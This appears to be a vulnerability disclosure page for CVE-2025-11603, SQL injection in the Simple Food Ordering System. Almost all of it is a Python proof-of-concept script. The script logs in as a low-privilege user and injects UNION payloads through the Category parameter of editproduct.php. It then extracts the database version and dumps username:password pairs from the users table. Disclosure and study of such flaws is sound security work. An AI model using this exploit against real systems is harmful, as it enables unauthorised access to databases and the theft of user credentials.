CVE-2025-11603：Simple Food Ordering System SQL注入漏洞

# CVE-2025-11603 - Simple Food Ordering System SQL Injection PoC # Vulnerability: SQL Injection in /editproduct.php via Category parameter # Author: Security Researcher import requests import sys # Target configuration TARGET_URL = "http://target.com/editproduct.php" LOGIN_URL = "http://target.com/login.php" # Attacker credentials (low privilege account required) USERNAME = "attacker_user" PASSWORD = "attacker_password" def exploit_sql_injection(target_url, session_cookie): """ Exploit SQL injection in Category parameter of editproduct.php """ # SQL Injection payload to extract database version payload = "1' UNION SELECT 1,version(),database(),user(),5-- -" headers = { "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } data = { "Category": payload, "id": "1" } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: # Check if injection was successful if "MySQL" in response.text or "MariaDB" in response.text: print("[+] SQL Injection successful!") print(f"[+] Response length: {len(response.text)}") return True return False except Exception as e: print(f"[-] Error: {e}") return False def extract_data(target_url, session_cookie, query): """ Extract data using UNION-based SQL injection """ # Generic UNION-based injection template payload = f"1' UNION SELECT 1,({query}),3,4,5-- -" headers = { "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded" } data = {"Category": payload, "id": "1"} response = requests.post(target_url, data=data, headers=headers) return response.text if __name__ == "__main__": # Step 1: Login to obtain session session = requests.Session() login_data = {"username": USERNAME, "password": PASSWORD} session.post(LOGIN_URL, data=login_data) # Step 2: Exploit SQL injection if exploit_sql_injection(TARGET_URL, session.cookies.get_dict()): # Step 3: Extract sensitive data users_data = extract_data( TARGET_URL, session.cookies.get_dict(), "SELECT GROUP_CONCAT(username,0x3a,password) FROM users" ) print(f"[+] Extracted users: {users_data}")